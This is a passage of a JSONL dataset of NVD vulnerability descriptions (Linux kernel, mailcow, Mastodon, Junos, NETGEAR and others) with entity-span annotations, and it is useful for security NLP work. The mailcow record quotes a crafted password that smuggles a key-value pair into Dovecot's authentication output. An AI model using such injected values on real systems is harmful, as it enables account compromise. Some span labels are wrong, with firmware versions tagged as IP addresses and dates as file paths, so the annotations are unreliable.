(ret == -ECANCELED && atomic_read(&fs_info->balance_pause_req)) {\n  >         btrfs_info(fs_info, \"balance: paused\");\n  >         btrfs_exclop_balance(fs_info, BTRFS_EXCLOP_BALANCE_PAUSED);\n  > }", "spans": {"FILEPATH: /btrfs/volumes.c": [[456, 472]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: race condition": [[334, 348]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53339"}}
{"text": "Ash Authentication is an authentication framework for Elixir applications. Applications which have been bootstrapped by the igniter installer present since AshAuthentication v4.1.0 and who have used the magic link strategy _or_ are manually revoking tokens are affected by revoked tokens being allowed to verify as valid. Unless one hase implemented any kind of custom token revocation feature in your application, then one will not be affected. The impact here for users using builtin functionality is that magic link tokens are reusable until they expire. With that said, magic link tokens are only valid for 10 minutes, so the surface area for abuse is extremely low here. The flaw is patched in version 4.4.9. Additionally a compile time warning is shown to users with remediation instructions if they upgrade. 4.4.9 ships with an upgrader, so those who use `mix igniter.upgrade ash_authentication` will have the necessary patch applied. Otherwise, one may run the upgrader manually as described in the error message. As a workaround, delete the generated `:revoked?` generic action in the token resource. This will cause it to use the one internal to Ash Authentication which has always been correct. Alternatively, manually make the changes that are included in the patch.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-25202"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncxl/mbox: validate payload size before accessing contents in cxl_payload_from_user_allowed()\n\ncxl_payload_from_user_allowed() casts and dereferences the input\npayload without first verifying its size. When a raw mailbox command\nis sent with an undersized payload (ie: 1 byte for CXL_MBOX_OP_CLEAR_LOG,\nwhich expects a 16-byte UUID), uuid_equal() reads past the allocated buffer,\ntriggering a KASAN splat:\n\nBUG: KASAN: slab-out-of-bounds in memcmp+0x176/0x1d0 lib/string.c:683\nRead of size 8 at addr ffff88810130f5c0 by task syz.1.62/2258\n\nCPU: 2 UID: 0 PID: 2258 Comm: syz.1.62 Not tainted 6.19.0-dirty #3 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0xab/0xe0 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xce/0x650 mm/kasan/report.c:482\n kasan_report+0xce/0x100 mm/kasan/report.c:595\n memcmp+0x176/0x1d0 lib/string.c:683\n uuid_equal include/linux/uuid.h:73 [inline]\n cxl_payload_from_user_allowed drivers/cxl/core/mbox.c:345 [inline]\n cxl_mbox_cmd_ctor drivers/cxl/core/mbox.c:368 [inline]\n cxl_validate_cmd_from_user drivers/cxl/core/mbox.c:522 [inline]\n cxl_send_cmd+0x9c0/0xb50 drivers/cxl/core/mbox.c:643\n __cxl_memdev_ioctl drivers/cxl/core/memdev.c:698 [inline]\n cxl_memdev_ioctl+0x14f/0x190 drivers/cxl/core/memdev.c:713\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:597 [inline]\n __se_sys_ioctl fs/ioctl.c:583 [inline]\n __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xa8/0x330 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7fdaf331ba79\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007fdaf1d77038 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\nRAX: ffffffffffffffda RBX: 00007fdaf3585fa0 RCX: 00007fdaf331ba79\nRDX: 00002000000001c0 RSI: 00000000c030ce02 RDI: 0000000000000003\nRBP: 00007fdaf33749df R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 00007fdaf3586038 R14: 00007fdaf3585fa0 R15: 00007ffced2af768\n </TASK>\n\nAdd 'in_size' parameter to cxl_payload_from_user_allowed() and validate\nthe payload is large enough.", "spans": {"DOMAIN: rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org": [[751, 795]], "FILEPATH: /01/2014": [[798, 806]], "FILEPATH: /kasan/report.c": [[946, 961], [1002, 1017], [1049, 1064]], "FILEPATH: /linux/uuid.h": [[1125, 1138]], "FILEPATH: /cxl/core/mbox.c": [[1189, 1205], [1245, 1261], [1310, 1326], [1373, 1389]], "FILEPATH: /cxl/core/memdev.c": [[1421, 1439], [1490, 1508]], "FILEPATH: /x86/entry/syscall_64.c": [[1691, 1714], [1757, 1780]], "FILEPATH: string.c": [[532, 540], [1093, 1101]], "FILEPATH: dump_stack.c": [[845, 857], [900, 912]], "FILEPATH: ioctl.c": [[1527, 1534], [1566, 1573], [1606, 1613], [1659, 1666]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[709, 713]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23327"}}
{"text": "The Library File Manager WordPress plugin before 5.2.3 is using an outdated version of the elFinder library, which is know to be affected by security issues (CVE-2021-32682), and does not have any authorisation as well as CSRF checks in its connector AJAX action, allowing any authenticated users, such as subscriber to call it. Furthermore, as the options passed to the elFinder library does not restrict any file type, users with a role as low as subscriber can Create/Upload/Delete Arbitrary files and folders.", "spans": {"CVE_ID: CVE-2021-32682": [[158, 172]], "FILEPATH: /Upload/Delete": [[470, 484]], "SYSTEM: WordPress": [[25, 34]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-0403"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nblock/rnbd-srv: Check for unlikely string overflow\n\nSince \"dev_search_path\" can technically be as large as PATH_MAX,\nthere was a risk of truncation when copying it and a second string\ninto \"full_path\" since it was also PATH_MAX sized. The W=1 builds were\nreporting this warning:\n\ndrivers/block/rnbd/rnbd-srv.c: In function 'process_msg_open.isra':\ndrivers/block/rnbd/rnbd-srv.c:616:51: warning: '%s' directive output may be truncated writing up to 254 bytes into a region of size between 0 and 4095 [-Wformat-truncation=]\n  616 |                 snprintf(full_path, PATH_MAX, \"%s/%s\",\n      |                                                   ^~\nIn function 'rnbd_srv_get_full_path',\n    inlined from 'process_msg_open.isra' at drivers/block/rnbd/rnbd-srv.c:721:14: drivers/block/rnbd/rnbd-srv.c:616:17: note: 'snprintf' output between 2 and 4351 bytes into a destination of size 4096\n  616 |                 snprintf(full_path, PATH_MAX, \"%s/%s\",\n      |                 ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n  617 |                          dev_search_path, dev_name);\n      |                          ~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nTo fix this, unconditionally check for truncation (as was already done\nfor the case where \"%SESSNAME%\" was present).", "spans": {"FILEPATH: /block/rnbd/rnbd-srv.c": [[356, 378], [424, 446], [804, 826], [842, 864]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52618"}}
{"text": "mailcow is a mail server suite based on Dovecot, Postfix and other open source software, that provides a modern web UI for user/server administration. A vulnerability has been discovered in mailcow which allows an attacker to manipulate internal Dovecot variables by using specially crafted passwords during the authentication process. The issue arises from the behavior of the `passwd-verify.lua` script, which is responsible for verifying user passwords during login attempts. Upon a successful login, the script returns a response in the format of \"password=<valid-password>\", indicating the successful authentication. By crafting a password with additional key-value pairs appended to it, an attacker can manipulate the returned string and influence the internal behavior of Dovecot. For example, using the password \"123 mail_crypt_save_version=0\" would cause the `passwd-verify.lua` script to return the string \"password=123 mail_crypt_save_version=0\". Consequently, Dovecot will interpret this string and set the internal variables accordingly, leading to unintended consequences. This vulnerability can be exploited by an authenticated attacker who has the ability to set their own password. Successful exploitation of this vulnerability could result in unauthorized access to user accounts, bypassing security controls, or other malicious activities. This issue has been patched in version `2023-05a`. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"SYSTEM: Dovecot": [[40, 47], [246, 253], [779, 786], [972, 979]], "SYSTEM: Postfix": [[49, 56]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-34108"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmptcp: make fallback action and fallback decision atomic\n\nSyzkaller reported the following splat:\n\n  WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 __mptcp_do_fallback net/mptcp/protocol.h:1223 [inline]\n  WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_do_fallback net/mptcp/protocol.h:1244 [inline]\n  WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 check_fully_established net/mptcp/options.c:982 [inline]\n  WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153\n  Modules linked in:\n  CPU: 1 UID: 0 PID: 7704 Comm: syz.3.1419 Not tainted 6.16.0-rc3-gbd5ce2324dba #20 PREEMPT(voluntary)\n  Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n  RIP: 0010:__mptcp_do_fallback net/mptcp/protocol.h:1223 [inline]\n  RIP: 0010:mptcp_do_fallback net/mptcp/protocol.h:1244 [inline]\n  RIP: 0010:check_fully_established net/mptcp/options.c:982 [inline]\n  RIP: 0010:mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153\n  Code: 24 18 e8 bb 2a 00 fd e9 1b df ff ff e8 b1 21 0f 00 e8 ec 5f c4 fc 44 0f b7 ac 24 b0 00 00 00 e9 54 f1 ff ff e8 d9 5f c4 fc 90 <0f> 0b 90 e9 b8 f4 ff ff e8 8b 2a 00 fd e9 8d e6 ff ff e8 81 2a 00\n  RSP: 0018:ffff8880a3f08448 EFLAGS: 00010246\n  RAX: 0000000000000000 RBX: ffff8880180a8000 RCX: ffffffff84afcf45\n  RDX: ffff888090223700 RSI: ffffffff84afdaa7 RDI: 0000000000000001\n  RBP: ffff888017955780 R08: 0000000000000001 R09: 0000000000000000\n  R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000\n  R13: ffff8880180a8910 R14: ffff8880a3e9d058 R15: 0000000000000000\n  FS:  00005555791b8500(0000) GS:ffff88811c495000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 000000110c2800b7 CR3: 0000000058e44000 CR4: 0000000000350ef0\n  Call Trace:\n   <IRQ>\n   tcp_reset+0x26f/0x2b0 net/ipv4/tcp_input.c:4432\n   tcp_validate_incoming+0x1057/0x1b60 net/ipv4/tcp_input.c:5975\n   tcp_rcv_established+0x5b5/0x21f0 net/ipv4/tcp_input.c:6166\n   tcp_v4_do_rcv+0x5dc/0xa70 net/ipv4/tcp_ipv4.c:1925\n   tcp_v4_rcv+0x3473/0x44a0 net/ipv4/tcp_ipv4.c:2363\n   ip_protocol_deliver_rcu+0xba/0x480 net/ipv4/ip_input.c:205\n   ip_local_deliver_finish+0x2f1/0x500 net/ipv4/ip_input.c:233\n   NF_HOOK include/linux/netfilter.h:317 [inline]\n   NF_HOOK include/linux/netfilter.h:311 [inline]\n   ip_local_deliver+0x1be/0x560 net/ipv4/ip_input.c:254\n   dst_input include/net/dst.h:469 [inline]\n   ip_rcv_finish net/ipv4/ip_input.c:447 [inline]\n   NF_HOOK include/linux/netfilter.h:317 [inline]\n   NF_HOOK include/linux/netfilter.h:311 [inline]\n   ip_rcv+0x514/0x810 net/ipv4/ip_input.c:567\n   __netif_receive_skb_one_core+0x197/0x1e0 net/core/dev.c:5975\n   __netif_receive_skb+0x1f/0x120 net/core/dev.c:6088\n   process_backlog+0x301/0x1360 net/core/dev.c:6440\n   __napi_poll.constprop.0+0xba/0x550 net/core/dev.c:7453\n   napi_poll net/core/dev.c:7517 [inline]\n   net_rx_action+0xb44/0x1010 net/core/dev.c:7644\n   handle_softirqs+0x1d0/0x770 kernel/softirq.c:579\n   do_softirq+0x3f/0x90 kernel/softirq.c:480\n   </IRQ>\n   <TASK>\n   __local_bh_enable_ip+0xed/0x110 kernel/softirq.c:407\n   local_bh_enable include/linux/bottom_half.h:33 [inline]\n   inet_csk_listen_stop+0x2c5/0x1070 net/ipv4/inet_connection_sock.c:1524\n   mptcp_check_listen_stop.part.0+0x1cc/0x220 net/mptcp/protocol.c:2985\n   mptcp_check_listen_stop net/mptcp/mib.h:118 [inline]\n   __mptcp_close+0x9b9/0xbd0 net/mptcp/protocol.c:3000\n   mptcp_close+0x2f/0x140 net/mptcp/protocol.c:3066\n   inet_release+0xed/0x200 net/ipv4/af_inet.c:435\n   inet6_release+0x4f/0x70 net/ipv6/af_inet6.c:487\n   __sock_release+0xb3/0x270 net/socket.c:649\n   sock_close+0x1c/0x30 net/socket.c:1439\n   __fput+0x402/0xb70 fs/file_table.c:465\n   task_work_run+0x150/0x240 kernel/task_work.c:227\n   resume_user_mode_work include/linux/resume_user_mode.h:50 [inline]\n   exit_to_user_mode_loop+0xd4\n---truncated---", "spans": {"FILEPATH: /mptcp/protocol.h": [[202, 219], [248, 265], [314, 331], [358, 375], [424, 441], [538, 555], [882, 899], [947, 964]], "FILEPATH: /mptcp/options.c": [[474, 490], [601, 617], [1018, 1034], [1100, 1116]], "FILEPATH: /01/2014": [[838, 846]], "FILEPATH: /ipv4/tcp_input.c": [[1960, 1977], [2025, 2042], [2087, 2104]], "FILEPATH: /ipv4/tcp_ipv4.c": [[2142, 2158], [2195, 2211]], "FILEPATH: /ipv4/ip_input.c": [[2258, 2274], [2321, 2337], [2477, 2493], [2562, 2578], [2717, 2733]], "FILEPATH: /linux/netfilter.h": [[2360, 2378], [2410, 2428], [2610, 2628], [2660, 2678]], "FILEPATH: /net/dst.h": [[2518, 2528]], "FILEPATH: /core/dev.c": [[2785, 2796], [2839, 2850], [2891, 2902], [2949, 2960], [2982, 2993], [3041, 3052]], "FILEPATH: /linux/bottom_half.h": [[3257, 3277]], "FILEPATH: /ipv4/inet_connection_sock.c": [[3330, 3358]], "FILEPATH: /mptcp/protocol.c": [[3413, 3430], [3524, 3541], [3576, 3593]], "FILEPATH: /mptcp/mib.h": [[3466, 3478]], "FILEPATH: /ipv4/af_inet.c": [[3629, 3644]], "FILEPATH: /ipv6/af_inet6.c": [[3679, 3695]], "FILEPATH: /linux/resume_user_mode.h": [[3914, 3939]], "FILEPATH: softirq.c": [[3096, 3105], [3141, 3150], [3217, 3226]], "FILEPATH: socket.c": [[3733, 3741], [3774, 3782]], "FILEPATH: file_table.c": [[3813, 3825]], "FILEPATH: task_work.c": [[3866, 3877]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[764, 768]], "ORGANIZATION: Ubuntu": [[769, 775]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38491"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix lockdep splat and potential deadlock after failure running delayed items\n\nWhen running delayed items we are holding a delayed node's mutex and then\nwe will attempt to modify a subvolume btree to insert/update/delete the\ndelayed items. However if have an error during the insertions for example,\nbtrfs_insert_delayed_items() may return with a path that has locked extent\nbuffers (a leaf at the very least), and then we attempt to release the\ndelayed node at __btrfs_run_delayed_items(), which requires taking the\ndelayed node's mutex, causing an ABBA type of deadlock. This was reported\nby syzbot and the lockdep splat is the following:\n\n  WARNING: possible circular locking dependency detected\n  6.5.0-rc7-syzkaller-00024-g93f5de5f648d #0 Not tainted\n  ------------------------------------------------------\n  syz-executor.2/13257 is trying to acquire lock:\n  ffff88801835c0c0 (&delayed_node->mutex){+.+.}-{3:3}, at: __btrfs_release_delayed_node+0x9a/0xaa0 fs/btrfs/delayed-inode.c:256\n\n  but task is already holding lock:\n  ffff88802a5ab8e8 (btrfs-tree-00){++++}-{3:3}, at: __btrfs_tree_lock+0x3c/0x2a0 fs/btrfs/locking.c:198\n\n  which lock already depends on the new lock.\n\n  the existing dependency chain (in reverse order) is:\n\n  -> #1 (btrfs-tree-00){++++}-{3:3}:\n         __lock_release kernel/locking/lockdep.c:5475 [inline]\n         lock_release+0x36f/0x9d0 kernel/locking/lockdep.c:5781\n         up_write+0x79/0x580 kernel/locking/rwsem.c:1625\n         btrfs_tree_unlock_rw fs/btrfs/locking.h:189 [inline]\n         btrfs_unlock_up_safe+0x179/0x3b0 fs/btrfs/locking.c:239\n         search_leaf fs/btrfs/ctree.c:1986 [inline]\n         btrfs_search_slot+0x2511/0x2f80 fs/btrfs/ctree.c:2230\n         btrfs_insert_empty_items+0x9c/0x180 fs/btrfs/ctree.c:4376\n         btrfs_insert_delayed_item fs/btrfs/delayed-inode.c:746 [inline]\n         btrfs_insert_delayed_items fs/btrfs/delayed-inode.c:824 [inline]\n         __btrfs_commit_inode_delayed_items+0xd24/0x2410 fs/btrfs/delayed-inode.c:1111\n         __btrfs_run_delayed_items+0x1db/0x430 fs/btrfs/delayed-inode.c:1153\n         flush_space+0x269/0xe70 fs/btrfs/space-info.c:723\n         btrfs_async_reclaim_metadata_space+0x106/0x350 fs/btrfs/space-info.c:1078\n         process_one_work+0x92c/0x12c0 kernel/workqueue.c:2600\n         worker_thread+0xa63/0x1210 kernel/workqueue.c:2751\n         kthread+0x2b8/0x350 kernel/kthread.c:389\n         ret_from_fork+0x2e/0x60 arch/x86/kernel/process.c:145\n         ret_from_fork_asm+0x11/0x20 arch/x86/entry/entry_64.S:304\n\n  -> #0 (&delayed_node->mutex){+.+.}-{3:3}:\n         check_prev_add kernel/locking/lockdep.c:3142 [inline]\n         check_prevs_add kernel/locking/lockdep.c:3261 [inline]\n         validate_chain kernel/locking/lockdep.c:3876 [inline]\n         __lock_acquire+0x39ff/0x7f70 kernel/locking/lockdep.c:5144\n         lock_acquire+0x1e3/0x520 kernel/locking/lockdep.c:5761\n         __mutex_lock_common+0x1d8/0x2530 kernel/locking/mutex.c:603\n         __mutex_lock kernel/locking/mutex.c:747 [inline]\n         mutex_lock_nested+0x1b/0x20 kernel/locking/mutex.c:799\n         __btrfs_release_delayed_node+0x9a/0xaa0 fs/btrfs/delayed-inode.c:256\n         btrfs_release_delayed_node fs/btrfs/delayed-inode.c:281 [inline]\n         __btrfs_run_delayed_items+0x2b5/0x430 fs/btrfs/delayed-inode.c:1156\n         btrfs_commit_transaction+0x859/0x2ff0 fs/btrfs/transaction.c:2276\n         btrfs_sync_file+0xf56/0x1330 fs/btrfs/file.c:1988\n         vfs_fsync_range fs/sync.c:188 [inline]\n         vfs_fsync fs/sync.c:202 [inline]\n         do_fsync fs/sync.c:212 [inline]\n         __do_sys_fsync fs/sync.c:220 [inline]\n         __se_sys_fsync fs/sync.c:218 [inline]\n         __x64_sys_fsync+0x196/0x1e0 fs/sync.c:218\n         do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n         do_syscall_64+0x41/0xc0 arch/x86/entry/common.c:80\n         entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\n  other info that\n---truncated---", "spans": {"FILEPATH: /update/delete": [[281, 295]], "FILEPATH: /btrfs/delayed-inode.c": [[1039, 1061], [1878, 1900], [1952, 1974], [2047, 2069], [2124, 2146], [3206, 3228], [3271, 3293], [3356, 3378]], "FILEPATH: /btrfs/locking.c": [[1186, 1202], [1638, 1654]], "FILEPATH: /locking/lockdep.c": [[1378, 1396], [1451, 1469], [2672, 2690], [2736, 2754], [2799, 2817], [2876, 2894], [2940, 2958]], "FILEPATH: /locking/rwsem.c": [[1510, 1526]], "FILEPATH: /btrfs/locking.h": [[1564, 1580]], "FILEPATH: /btrfs/ctree.c": [[1682, 1696], [1754, 1768], [1821, 1835]], "FILEPATH: /btrfs/space-info.c": [[2187, 2206], [2269, 2288]], "FILEPATH: /x86/kernel/process.c": [[2504, 2525]], "FILEPATH: /x86/entry/entry_64.S": [[2571, 2592]], "FILEPATH: /locking/mutex.c": [[3012, 3028], [3061, 3077], [3134, 3150]], "FILEPATH: /btrfs/transaction.c": [[3433, 3453]], "FILEPATH: /btrfs/file.c": [[3499, 3512]], "FILEPATH: /x86/entry/common.c": [[3822, 3841], [3891, 3910]], "FILEPATH: workqueue.c": [[2340, 2351], [2400, 2411]], "FILEPATH: kthread.c": [[2453, 2462]], "FILEPATH: sync.c": [[3546, 3552], [3588, 3594], [3629, 3635], [3676, 3682], [3723, 3729], [3783, 3789]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54224"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nblock: don't delete queue kobject before its children\n\nkobjects aren't supposed to be deleted before their child kobjects are\ndeleted.  Apparently this is usually benign; however, a WARN will be\ntriggered if one of the child kobjects has a named attribute group:\n\n    sysfs group 'modes' not found for kobject 'crypto'\n    WARNING: CPU: 0 PID: 1 at fs/sysfs/group.c:278 sysfs_remove_group+0x72/0x80\n    ...\n    Call Trace:\n      sysfs_remove_groups+0x29/0x40 fs/sysfs/group.c:312\n      __kobject_del+0x20/0x80 lib/kobject.c:611\n      kobject_cleanup+0xa4/0x140 lib/kobject.c:696\n      kobject_release lib/kobject.c:736 [inline]\n      kref_put include/linux/kref.h:65 [inline]\n      kobject_put+0x53/0x70 lib/kobject.c:753\n      blk_crypto_sysfs_unregister+0x10/0x20 block/blk-crypto-sysfs.c:159\n      blk_unregister_queue+0xb0/0x110 block/blk-sysfs.c:962\n      del_gendisk+0x117/0x250 block/genhd.c:610\n\nFix this by moving the kobject_del() and the corresponding\nkobject_uevent() to the correct place.", "spans": {"FILEPATH: /sysfs/group.c": [[420, 434], [530, 544]], "FILEPATH: /linux/kref.h": [[719, 732]], "FILEPATH: kobject.c": [[583, 592], [634, 643], [674, 683], [777, 786]], "FILEPATH: sysfs.c": [[852, 859], [912, 919]], "FILEPATH: genhd.c": [[960, 967]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49259"}}
{"text": "Mastodon is a free, open-source social network server based on ActivityPub. Mastodon allows new identities from configured authentication providers (CAS, SAML, OIDC) to attach to existing local users with the same e-mail address. This results in a possible account takeover if the authentication provider allows changing the e-mail address or multiple authentication providers are configured. When a user logs in through an external authentication provider for the first time, Mastodon checks the e-mail address passed by the provider to find an existing account. However, using the e-mail address alone means that if the authentication provider allows changing the e-mail address of an account, the Mastodon account can immediately be hijacked. All users logging in through external authentication providers are affected. The severity is medium, as it also requires the external authentication provider to misbehave. However, some well-known OIDC providers (like Microsoft Azure) make it very easy to accidentally allow unverified e-mail changes. Moreover, OpenID Connect also allows dynamic client registration. This issue has been addressed in versions 4.2.6, 4.1.14, 4.0.14, and 3.5.18. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"ORGANIZATION: Microsoft": [[964, 973]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-25618"}}
{"text": "A Use After Free vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Juniper Networks Junos OS Evolved allows an attacker sending a BGP update with a specifically malformed AS PATH to cause rpd to crash, resulting in a Denial of Service (DoS). Continuous receipt of the malformed AS PATH attribute will cause a sustained DoS condition.\n\nOn all Junos OS and Junos OS Evolved platforms, the rpd process will crash and restart when a specifically malformed AS PATH is received within a BGP update and traceoptions are enabled.\n\nThis issue only affects systems with BGP traceoptions enabled and requires a BGP session to be already established.  Systems without BGP traceoptions enabled are not impacted by this issue.\n\n\n\nThis issue affects:\n\n Junos OS:\n\n\n\n  *  All versions before 21.2R3-S9, \n  *  all versions of 21.4,\n  *  from 22.2 before 22.2R3-S6, \n  *  from 22.4 before 22.4R3-S5, \n  *  from 23.2 before 23.2R2-S3, \n  *  from 23.4 before 23.4R2-S4, \n  *  from 24.2 before 24.2R2; \n\n\n\n\nJunos OS Evolved: \n\n\n\n  *  All versions before 22.4R3-S5-EVO, \n  *  from 23.2-EVO before 23.2R2-S3-EVO, \n  *  from 23.4-EVO before 23.4R2-S4-EVO, \n  *  from 24.2-EVO before 24.2R2-EVO.\n\n\n\n\n\n\n\nThis is a more complete fix for previously published CVE-2024-39549 (JSA83011).", "spans": {"CVE_ID: CVE-2024-39549": [[1265, 1279]], "ORGANIZATION: Juniper": [[71, 78], [101, 108]], "VULNERABILITY: Denial of Service": [[251, 268]], "VULNERABILITY: Use After Free": [[2, 16]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-52946"}}
{"text": "This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 15.1.2-47123. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the IOCTL handler. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated buffer. An attacker can leverage this vulnerability to escalate privileges and execute code in the context of the kernel. Was ZDI-CAN-10028.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8875"}}
{"text": "Certain NETGEAR devices are affected by authentication bypass. This affects D3600 before 1.0.0.72, D6000 before 1.0.0.72, D6100 before 1.0.0.63, D6200 before 1.1.00.34, D6220 before 1.0.0.48, D6400 before 1.0.0.86, D7000 before 1.0.1.70, D7000v2 before 1.0.0.52, D7800 before 1.0.1.56, D8500 before 1.0.3.44, DC112A before 1.0.0.42, DGN2200v4 before 1.0.0.108, DGND2200Bv4 before 1.0.0.108, EX2700 before 1.0.1.48, EX3700 before 1.0.0.76, EX3800 before 1.0.0.76, EX6000 before 1.0.0.38, EX6100 before 1.0.2.24, EX6100v2 before 1.0.1.76, EX6120 before 1.0.0.42, EX6130 before 1.0.0.28, EX6150v1 before 1.0.0.42, EX6150v2 before 1.0.1.76, EX6200 before 1.0.3.88, EX6200v2 before 1.0.1.72, EX6400 before 1.0.2.136, EX7000 before 1.0.0.66, EX7300 before 1.0.2.136, EX8000 before 1.0.1.180, RBK50 before 2.1.4.10, RBR50 before 2.1.4.10, RBS50 before 2.1.4.10, RBK40 before 2.1.4.10, RBR40 before 2.1.4.10, RBS40 before 2.1.4.10, RBW30 before 2.2.1.204, PR2000 before 1.0.0.28, R6020 before 1.0.0.38, R6080 before 1.0.0.38, R6050 before 1.0.1.18, JR6150 before 1.0.1.18, R6120 before 1.0.0.46, R6220 before 1.1.0.86, R6250 before 1.0.4.34, R6300v2 before 1.0.4.32, R6400 before 1.0.1.44, R6400v2 before 1.0.2.62, R6700 before 1.0.1.48, R6700v2 before 1.2.0.36, R6800 before 1.2.0.36, R6900v2 before 1.2.0.36, R6900 before 1.0.1.48, R7000 before 1.0.9.34, R6900P before 1.3.1.64, R7000P before 1.3.1.64, R7100LG before 1.0.0.48, R7300DST before 1.0.0.70, R7500v2 before 1.0.3.38, R7800 before 1.0.2.52, R7900 before 1.0.3.8, R8000 before 1.0.4.28, R7900P before 1.4.1.30, R8000P before 1.4.1.30, R8300 before 1.0.2.128, R8500 before 1.0.2.128, R9000 before 1.0.3.10, RBS40V before 2.2.0.58, RBK50V before 2.2.0.58, WN2000RPTv3 before 1.0.1.32, WN2500RPv2 before 1.0.1.54, WN3000RPv3 before 1.0.2.78, WN3100RPv2 before 1.0.0.66, WNDR3400v3 before 1.0.1.22, WNDR3700v4 before 1.0.2.102, WNDR4300v1 before 1.0.2.104, WNDR4300v2 before 1.0.0.56, WNDR4500v3 before 1.0.0.56, WNR2000v5 (R2000) before 1.0.0.66, WNR2020 before 1.1.0.62, WNR2050 before 1.1.0.62, WNR3500Lv2 before 1.2.0.62, and XR500 before 2.3.2.22.", "spans": {"IP_ADDRESS: 1.0.0.72": [[89, 97], [112, 120]], "IP_ADDRESS: 1.0.0.63": [[135, 143]], "IP_ADDRESS: 1.1.00.34": [[158, 167]], "IP_ADDRESS: 1.0.0.48": [[182, 190], [1412, 1420]], "IP_ADDRESS: 1.0.0.86": [[205, 213]], "IP_ADDRESS: 1.0.1.70": [[228, 236]], "IP_ADDRESS: 1.0.0.52": [[253, 261]], "IP_ADDRESS: 1.0.1.56": [[276, 284]], "IP_ADDRESS: 1.0.3.44": [[299, 307]], "IP_ADDRESS: 1.0.0.42": [[323, 331], [551, 559], [601, 609]], "IP_ADDRESS: 1.0.0.108": [[350, 359], [380, 389]], "IP_ADDRESS: 1.0.1.48": [[405, 413], [1220, 1228], [1316, 1324]], "IP_ADDRESS: 1.0.0.76": [[429, 437], [453, 461]], "IP_ADDRESS: 1.0.0.38": [[477, 485], [985, 993], [1008, 1016]], "IP_ADDRESS: 1.0.2.24": [[501, 509]], "IP_ADDRESS: 1.0.1.76": [[527, 535], [627, 635]], "IP_ADDRESS: 1.0.0.28": [[575, 583], [962, 970]], "IP_ADDRESS: 1.0.3.88": [[651, 659]], "IP_ADDRESS: 1.0.1.72": [[677, 685]], "IP_ADDRESS: 1.0.2.136": [[701, 710], [750, 759]], "IP_ADDRESS: 1.0.0.66": [[726, 734], [1811, 1819], [1988, 1996]], "IP_ADDRESS: 1.0.1.180": [[775, 784]], "IP_ADDRESS: 2.1.4.10": [[799, 807], [822, 830], [845, 853], [868, 876], [891, 899], [914, 922]], "IP_ADDRESS: 2.2.1.204": [[937, 946]], "IP_ADDRESS: 1.0.1.18": [[1031, 1039], [1055, 1063]], "IP_ADDRESS: 1.0.0.46": [[1078, 1086]], "IP_ADDRESS: 1.1.0.86": [[1101, 1109]], "IP_ADDRESS: 1.0.4.34": [[1124, 1132]], "IP_ADDRESS: 1.0.4.32": [[1149, 1157]], 